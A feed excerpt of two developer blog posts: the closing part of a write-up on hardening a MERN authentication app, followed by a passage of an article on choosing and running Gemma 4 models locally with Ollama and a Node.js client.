&lt;strong&gt;Email/Password login&lt;/strong&gt; with bcrypt hashing and HTTP-only cookie sessions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Magic Links&lt;/strong&gt; — passwordless authentication via secure one-time email tokens&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Email verification&lt;/strong&gt; with seamless auto-login on success (no extra redirect step)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Forgot Password + Reset&lt;/strong&gt; flow with immediate auto-login after reset&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rate limiting&lt;/strong&gt; at two layers: global (100 req/15min) and auth-specific (5 req/15min)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CSRF protection&lt;/strong&gt; via mathematically verified &lt;code&gt;Origin/Referer&lt;/code&gt; header checks&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Input validation&lt;/strong&gt; strictly on the backend via &lt;code&gt;express-validator&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Anti-leak error handling&lt;/strong&gt; — no raw DB errors ever reach the client&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The frontend is React 18 with Tailwind CSS, featuring floating labels, browser autofill overlap prevention, and micro-animations. Clean, responsive, and actually pleasant to use.&lt;/p&gt;

&lt;p&gt;But here's the part that genuinely changed how I think about auth architecture:&lt;/p&gt;

&lt;h3&gt;
  
  
  Powered by &lt;code&gt;@custom-auth/core&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Instead of reimplementing JWT logic, session management, and token pipelines from scratch (again), I integrated the &lt;strong&gt;&lt;code&gt;@custom-auth/core&lt;/code&gt;&lt;/strong&gt; engine as the auth backbone. This is a modular npm library ecosystem built specifically for Node.js backends, and it changed the entire architecture of how sessions and tokens are handled in this project.&lt;/p&gt;

&lt;p&gt;The stack uses:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;@custom-auth/core&lt;/code&gt;&lt;/strong&gt; — core auth engine on the backend (session creation, token verification, secure cookie issuance)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;@custom-auth/mongoose&lt;/code&gt;&lt;/strong&gt; — Mongoose adapter, handles user schema and token storage without any boilerplate&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;@custom-auth/react&lt;/code&gt;&lt;/strong&gt; — React adapter, exposes hooks like &lt;code&gt;useSession()&lt;/code&gt; and &lt;code&gt;useSignIn()&lt;/code&gt; that replace an entire Redux Toolkit setup&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;@custom-auth/adapter-nodemailer&lt;/code&gt;&lt;/strong&gt; — plugs directly into the magic link and email verification pipeline&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;code&gt;useSession()&lt;/code&gt; hook alone replaced what used to be a full Redux store with actions, reducers, thunks, and selectors. One hook. That's it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Before: Redux Toolkit + 4 files + thunk middleware&lt;/span&gt;
&lt;span class="c1"&gt;// After:&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;refresh&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useSession&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the kind of abstraction that makes you question every over-engineered auth setup you've ever built.&lt;/p&gt;




&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Live App:&lt;/strong&gt; &lt;a href="https://secure-auth-x.vercel.app" rel="noopener noreferrer"&gt;secure-auth-x.vercel.app&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GitHub Repo:&lt;/strong&gt; &lt;a href="https://github.com/DevCodeHub99/SecureAuthX" rel="noopener noreferrer"&gt;github.com/DevCodeHub99/SecureAuthX&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The live deployment runs on Vercel Serverless Functions — no long-running Node.js process, no cold-start headaches on the auth routes, and it scales automatically.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Before vs After (This Is the Real Story)
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmlbvry50xxldcji77fob.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmlbvry50xxldcji77fob.png" alt="The " width="800" height="387"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here's what that table actually means in real-world terms:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Old Version&lt;/th&gt;
&lt;th&gt;SecureAuthX&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Auth Architecture&lt;/td&gt;
&lt;td&gt;Manual Express JWT logic&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;@custom-auth/core&lt;/code&gt; engine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Frontend State&lt;/td&gt;
&lt;td&gt;Redux Toolkit boilerplate&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;useSession()&lt;/code&gt; via &lt;code&gt;@custom-auth/react&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Login Methods&lt;/td&gt;
&lt;td&gt;Password + 6-digit OTP only&lt;/td&gt;
&lt;td&gt;Password, Magic Links, Auto-login&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Account Recovery&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Full Forgot/Reset Password flow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rate Limiting&lt;/td&gt;
&lt;td&gt;None (brute-forceable)&lt;/td&gt;
&lt;td&gt;Global (100/15m) + Auth (5/15m)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CSRF Protection&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Strict Origin/Referer header checks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Input Validation&lt;/td&gt;
&lt;td&gt;Frontend only&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;express-validator&lt;/code&gt; on backend&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Error Handling&lt;/td&gt;
&lt;td&gt;Raw DB errors to client&lt;/td&gt;
&lt;td&gt;Generic 500s, safe console logging&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Deployment&lt;/td&gt;
&lt;td&gt;Traditional Node server&lt;/td&gt;
&lt;td&gt;Vercel Serverless Functions&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Every row in that table was a vulnerability or a developer pain point in the original version. Now they're all solved.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Comeback Story
&lt;/h2&gt;

&lt;p&gt;Let me be real about where this project was.&lt;/p&gt;

&lt;p&gt;The original version was a classic "it works on my machine" Express auth app. I had:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;JWT tokens stored in &lt;code&gt;localStorage&lt;/code&gt; (XSS attack waiting to happen)&lt;/li&gt;
&lt;li&gt;No rate limiting on login routes (a &lt;code&gt;for&lt;/code&gt; loop and you're in someone's account)&lt;/li&gt;
&lt;li&gt;No CSRF protection at all&lt;/li&gt;
&lt;li&gt;Mongoose validation errors leaking raw database messages to the frontend response&lt;/li&gt;
&lt;li&gt;A 6-digit OTP system I had wired manually with no time-based expiry logic&lt;/li&gt;
&lt;li&gt;No password reset. If you forgot it, you were locked out&lt;/li&gt;
&lt;li&gt;A Redux Toolkit setup with 4+ files just to track "is the user logged in?"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I knew all of this. I left it anyway, because shipping felt more important than getting auth right.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here's what changed during the Finish-Up-A-Thon:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Ripped out the manual JWT logic entirely.&lt;/strong&gt; Replaced with &lt;code&gt;@custom-auth/core&lt;/code&gt; as the auth engine. Tokens are now handled in HTTP-only, Secure, &lt;code&gt;SameSite=Strict&lt;/code&gt; cookies. JavaScript in the browser cannot read them at all.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Killed Redux Toolkit.&lt;/strong&gt; The entire auth state layer was replaced by &lt;code&gt;useSession()&lt;/code&gt; from &lt;code&gt;@custom-auth/react&lt;/code&gt;. The hook handles session fetching, refresh logic, and status tracking. What was 4 files is now one import.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Built the Magic Link flow from scratch.&lt;/strong&gt; Passwordless login via a secure one-time token sent over email, handled through &lt;code&gt;@custom-auth/adapter-nodemailer&lt;/code&gt;. The token is single-use, time-bound, and invalidated immediately after verification.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Added the auto-login pipeline.&lt;/strong&gt; After email verification, the backend validates the token, generates a session cookie on the spot, and the frontend calls &lt;code&gt;await refresh()&lt;/code&gt; to sync the auth context silently. The user lands in the dashboard without touching a login form.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Implemented dual-layer rate limiting.&lt;/strong&gt; &lt;code&gt;express-rate-limit&lt;/code&gt; with two separate limiters: a global limiter for all API traffic (100 req/15min) and a strict auth-specific limiter (5 req/15min) on &lt;code&gt;/api/auth/*&lt;/code&gt; routes. Brute force is now a non-issue.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Added CSRF protection properly.&lt;/strong&gt; Every state-mutating request goes through &lt;code&gt;Origin&lt;/code&gt; and &lt;code&gt;Referer&lt;/code&gt; header validation. No token-in-form approach needed because the session cookie is &lt;code&gt;SameSite=Strict&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7. Replaced error handling completely.&lt;/strong&gt; All Mongoose and Express errors now pass through a centralized global error handler (Express 5's native async error support). The client gets a generic 500. The actual error logs to the server console. Zero stack trace exposure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;8. Migrated deployment to Vercel Serverless.&lt;/strong&gt; The traditional long-running Node.js server is gone. Each auth route is a stateless serverless function, which also forced cleaner architecture because you can't rely on in-memory state.&lt;/p&gt;

&lt;p&gt;The CSS floating label bug also got fixed: when Chrome or Edge autofills credentials, the label used to overlap the injected text. Fixed it using Tailwind's &lt;code&gt;peer-valid&lt;/code&gt; selector combined with React's controlled &lt;code&gt;value={}&lt;/code&gt; binding — the label detects injected values and moves out of the way.&lt;/p&gt;




&lt;h2&gt;
  
  
  My Experience with GitHub Copilot
&lt;/h2&gt;

&lt;p&gt;I'll be honest: Copilot was most useful in the places I expected it least.&lt;/p&gt;

&lt;p&gt;The big architectural decisions — switching to &lt;code&gt;@custom-auth/core&lt;/code&gt;, restructuring the error pipeline, designing the auto-login flow — those I had to think through myself. Copilot doesn't replace architectural judgment.&lt;/p&gt;

&lt;p&gt;But where it genuinely saved hours:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The &lt;code&gt;express-validator&lt;/code&gt; chain.&lt;/strong&gt; Writing validation middleware for every auth route (register, login, forgot-password, reset-password) is repetitive and easy to get wrong. I described the shape of each request and Copilot generated the full validation chain for each endpoint. I reviewed and tweaked, but I didn't start from a blank file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The rate limiter configuration.&lt;/strong&gt; Setting up two separate &lt;code&gt;express-rate-limit&lt;/code&gt; instances with different windows and maxes, attaching them at the right middleware order, and making the config env-variable-driven — Copilot suggested the full setup in one shot. Accurate.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The CSRF header check utility.&lt;/strong&gt; The &lt;code&gt;Origin&lt;/code&gt;/&lt;code&gt;Referer&lt;/code&gt; validation function that runs on every state-mutating request: Copilot generated the base logic from a comment describing what I needed. I hardened it and added the edge cases, but the skeleton was right.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CSS floating label autofill fix.&lt;/strong&gt; This is the one I was most impressed by. Describing the problem — "browser autofill injects value, label overlaps because &lt;code&gt;peer-placeholder-shown&lt;/code&gt; doesn't detect autofill" — Copilot suggested the &lt;code&gt;peer-valid&lt;/code&gt; + controlled value approach. That's a niche CSS/React interaction. Getting it right from a description saved real debugging time.&lt;/p&gt;

&lt;p&gt;What I learned: Copilot works best when you know exactly what you want and you're just tired of typing it. It's not a senior engineer — it's a fast typist who's read a lot of code. Use it that way and it's genuinely valuable.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stack Summary
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Frontend:  React 18 + Vite + Tailwind CSS v4 + React Router v6
           @custom-auth/react (useSession, useSignIn hooks)

Backend:   Node.js + Express 5 + MongoDB + Mongoose
           @custom-auth/core (auth engine)
           @custom-auth/mongoose (DB adapter)
           @custom-auth/adapter-nodemailer (email pipeline)
           helmet, cors, cookie-parser, express-rate-limit, express-validator

Deploy:    Vercel Serverless Functions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Repo:&lt;/strong&gt; &lt;a href="https://github.com/DevCodeHub99/SecureAuthX" rel="noopener noreferrer"&gt;github.com/DevCodeHub99/SecureAuthX&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Live:&lt;/strong&gt; &lt;a href="https://secure-auth-x.vercel.app" rel="noopener noreferrer"&gt;secure-auth-x.vercel.app&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;If you're building a MERN app and you're still wiring auth manually — or worse, storing tokens in &lt;code&gt;localStorage&lt;/code&gt; — this repo is for you. Clone it, read the architecture notes in the README, and steal whatever you need.&lt;/p&gt;

&lt;p&gt;Auth done right isn't complicated. It's just not something most tutorials bother to finish.&lt;/p&gt;

&lt;p&gt;This time, I did.&lt;/p&gt;

&lt;h1&gt;
  
  
  javascript #node #security #webdev #security
&lt;/h1&gt;

</description>
      <category>devchallenge</category>
      <category>githubchallenge</category>
      <category>webdev</category>
      <category>security</category>
    </item>
    <item>
      <title>Gemma 4 Is the First Open Model I'd Actually Recommend to a Client</title>
      <dc:creator>VIKAS</dc:creator>
      <pubDate>Tue, 19 May 2026 10:56:33 +0000</pubDate>
      <link>https://dev.to/devcodehub99/gemma-4-changed-my-answer-from-no-to-yes-1an2</link>
      <guid>https://dev.to/devcodehub99/gemma-4-changed-my-answer-from-no-to-yes-1an2</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/google-gemma-2026-05-06"&gt;Gemma 4 Challenge: Write About Gemma 4&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;A client asked me three months ago whether they could build an AI feature into their SaaS product without depending on OpenAI.&lt;/p&gt;

&lt;p&gt;Their concerns were reasonable. Vendor lock-in. Data leaving their servers. Cost unpredictability at scale. The risk of a pricing change breaking their unit economics overnight.&lt;/p&gt;

&lt;p&gt;Six months ago, my honest answer would have been: "Not really. The open models are close, but not close enough for a production product recommendation."&lt;/p&gt;

&lt;p&gt;After spending a week with Gemma 4, my answer has changed. This is the first open model family where I'd say yes without caveats.&lt;/p&gt;

&lt;p&gt;Here's why, and what you need to know to actually use it.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Questions That Actually Matter for Product Builders
&lt;/h2&gt;

&lt;p&gt;Most Gemma 4 coverage asks: "Is it as good as GPT-4o?"&lt;/p&gt;

&lt;p&gt;That's the wrong question if you're building products.&lt;/p&gt;

&lt;p&gt;The questions that matter are:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Can I ship it commercially without legal risk?&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Will it run on hardware my client already owns or can afford?&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Is the quality actually good enough for the specific task I need?&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For the first time with an open model family, Gemma 4 answers all three with a clear yes. Let me walk through each.&lt;/p&gt;




&lt;h2&gt;
  
  
  Question 1: Can I Ship It Commercially?
&lt;/h2&gt;

&lt;p&gt;Every previous Gemma release came with Google's custom Terms of Use. You could experiment, you could research, but commercial deployment required reading fine print and accepting restrictions that most small teams didn't bother to fully understand.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Gemma 4 is Apache 2.0.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That means: use it commercially, fine-tune it, redistribute it, build products on it, charge money for those products. No MAU limits. No usage restrictions. No negotiating access agreements. The same license as React, TensorFlow, and half the software stack your product already runs on.&lt;/p&gt;

&lt;p&gt;For a client project, this is the difference between "interesting prototype" and "production feature." Apache 2.0 removes the legal conversation entirely.&lt;/p&gt;




&lt;h2&gt;
  
  
  Question 2: Will It Run on Available Hardware?
&lt;/h2&gt;

&lt;p&gt;This is where Gemma 4's architecture actually shines, and it requires understanding what Google shipped.&lt;/p&gt;

&lt;p&gt;Gemma 4 is not one model. It's four, each designed for a different hardware reality.&lt;/p&gt;

&lt;h3&gt;
  
  
  E2B — For Edge and Mobile
&lt;/h3&gt;

&lt;p&gt;The "E" stands for effective parameters. Using Per-Layer Embeddings (PLE), the model runs at approximately 2B effective parameters during inference despite the weight file being larger. It runs fully offline on phones, Raspberry Pi, and Jetson Nano devices. Google's benchmarks show it hitting roughly 7.6 tokens per second on a Raspberry Pi 5.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hardware requirement at 4-bit:&lt;/strong&gt; ~5 GB RAM&lt;br&gt;
&lt;strong&gt;Best for:&lt;/strong&gt; Mobile apps, edge deployments, offline-first features, anything battery or privacy sensitive&lt;/p&gt;
&lt;h3&gt;
  
  
  E4B — For Most Laptops
&lt;/h3&gt;

&lt;p&gt;Same "E" naming, around 4.5B effective parameters at runtime. This is the entry point for most developers. Runs comfortably on a laptop with 8-12 GB RAM, supports audio and image input, and delivers noticeably better reasoning than E2B.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hardware requirement at 4-bit:&lt;/strong&gt; ~8 GB RAM&lt;br&gt;
&lt;strong&gt;Best for:&lt;/strong&gt; Developer laptops, local coding assistants, document processing, any standard dev machine&lt;/p&gt;
&lt;h3&gt;
  
  
  26B A4B — The Sweet Spot for Desktops and Servers
&lt;/h3&gt;

&lt;p&gt;This one deserves a longer explanation because the naming trips people up constantly.&lt;/p&gt;

&lt;p&gt;The model has 26 billion total parameters. But it's a Mixture of Experts (MoE) architecture, specifically 8 of 128 experts plus 1 shared expert activate per token. The "A" in A4B means active parameters during inference: 3.8 billion.&lt;/p&gt;

&lt;p&gt;What this means practically: you get quality close to a 26B dense model at roughly the inference speed of a 4B model.&lt;/p&gt;

&lt;p&gt;On the LMArena leaderboard, it scores 1441 Elo. The 31B Dense scores 1452. An 11-point gap that is invisible in most real-world tasks.&lt;/p&gt;

&lt;p&gt;One thing that trips people up: all 26 billion parameters still need to load into memory for fast expert routing. You cannot skip the memory cost just because inference is fast. Budget ~18 GB at 4-bit, not 4 GB.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hardware requirement at 4-bit:&lt;/strong&gt; ~18 GB RAM&lt;br&gt;
&lt;strong&gt;Best for:&lt;/strong&gt; Desktop workstations, local AI servers, coding agents, RAG pipelines, any machine with 16+ GB&lt;/p&gt;
&lt;h3&gt;
  
  
  31B Dense — Maximum Quality
&lt;/h3&gt;

&lt;p&gt;Every token activates all 31 billion parameters. Slower, but the quality leader. Currently ranked #3 on the Arena AI open model text leaderboard, with the 26B A4B at #6, both outcompeting models 20x their size. Also the cleanest choice for fine-tuning because the dense architecture gives predictable gradient flow during training.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hardware requirement at 4-bit:&lt;/strong&gt; ~20 GB RAM (RTX 3090 or 4090 handles this)&lt;br&gt;
&lt;strong&gt;Best for:&lt;/strong&gt; Fine-tuning, maximum quality requirements, cloud GPU deployments&lt;/p&gt;
&lt;h3&gt;
  
  
  The Quick Decision Table
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Your Hardware&lt;/th&gt;
&lt;th&gt;Pick This&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Phone / Raspberry Pi / embedded device&lt;/td&gt;
&lt;td&gt;E2B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Laptop, 8-12 GB RAM&lt;/td&gt;
&lt;td&gt;E4B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Desktop or Apple Silicon Mac, 16+ GB&lt;/td&gt;
&lt;td&gt;26B A4B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Workstation / Cloud GPU, 24 GB+ VRAM&lt;/td&gt;
&lt;td&gt;31B or 26B A4B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fine-tuning a custom model&lt;/td&gt;
&lt;td&gt;31B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Android app via AICore Developer Preview&lt;/td&gt;
&lt;td&gt;E2B or E4B&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Practical rule: start one size smaller than you think you need. A model that runs is more useful than one that swap-thrashes or crashes on load.&lt;/p&gt;


&lt;h2&gt;
  
  
  Question 3: Is the Quality Good Enough?
&lt;/h2&gt;

&lt;p&gt;For the specific tasks most product builders need, yes.&lt;/p&gt;

&lt;p&gt;Gemma 4 made two architectural improvements that matter for real usage, not just benchmarks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Long context that actually works.&lt;/strong&gt; Previous open models advertised long context but fell apart in practice when information was buried deep in a document. Google's benchmark numbers show the 31B went from 13.5% to 66.4% on multi-needle retrieval tests. That is a functional change, not an incremental one. Passing a full codebase or a long contract in a single prompt now works in ways it didn't before.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Native function calling.&lt;/strong&gt; Tool definitions go directly into the model via &lt;code&gt;apply_chat_template&lt;/code&gt;. No prompt engineering tricks to force JSON output. No wrapper libraries to parse responses. The model returns structured tool calls that you parse and execute. This is what makes local agentic workflows practical.&lt;/p&gt;

&lt;p&gt;One thing to keep in mind: the training data cutoff is January 2025. For tasks requiring current information, pair it with RAG or a web search layer. This isn't a weakness unique to Gemma 4, it's true of any local model, but it's worth planning for.&lt;/p&gt;


&lt;h2&gt;
  
  
  Running It: The Complete Setup
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Via Ollama (Fastest Path)
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install Ollama from ollama.com, then:&lt;/span&gt;
ollama pull gemma4:e4b     &lt;span class="c"&gt;# ~8 GB&lt;/span&gt;
ollama pull gemma4:26b     &lt;span class="c"&gt;# ~16 GB&lt;/span&gt;
ollama pull gemma4:31b     &lt;span class="c"&gt;# ~20 GB&lt;/span&gt;

&lt;span class="c"&gt;# Start chatting&lt;/span&gt;
ollama run gemma4:e4b
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Critical step people skip:&lt;/strong&gt; Ollama defaults to a 4,096 token context window regardless of what the model supports. It silently truncates from the beginning when the limit is hit, no error, no warning, no indication anything went wrong. If the model seems to "forget" earlier parts of a conversation, this is why.&lt;/p&gt;

&lt;p&gt;Set it explicitly at runtime:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ollama run gemma4:e4b &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nv"&gt;num_ctx&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;32768
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or in the API:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://localhost:11434/api/chat &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
    "model": "gemma4:e4b",
    "options": { "num_ctx": 32768 },
    "messages": [
      { "role": "user", "content": "Your prompt here" }
    ]
  }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To make a permanent preset with your preferred context size:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; gemma4:e4b&lt;/span&gt;
PARAMETER num_ctx 32768
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ollama create gemma4-e4b-32k &lt;span class="nt"&gt;-f&lt;/span&gt; Modelfile
ollama run gemma4-e4b-32k
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Integrating with a Node.js / MERN Project
&lt;/h3&gt;

&lt;p&gt;Ollama exposes an OpenAI-compatible API. If you have an existing project using the OpenAI SDK, the change is two lines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;OpenAI&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;openai&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Before: const client = new OpenAI({ apiKey: process.env.OPENAI_API_KEY });&lt;/span&gt;
&lt;span class="c1"&gt;// After:&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;OpenAI&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;baseURL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://localhost:11434/v1&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;apiKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ollama&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// required by the SDK, ignored by Ollama&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;reviewCode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;chat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;completions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
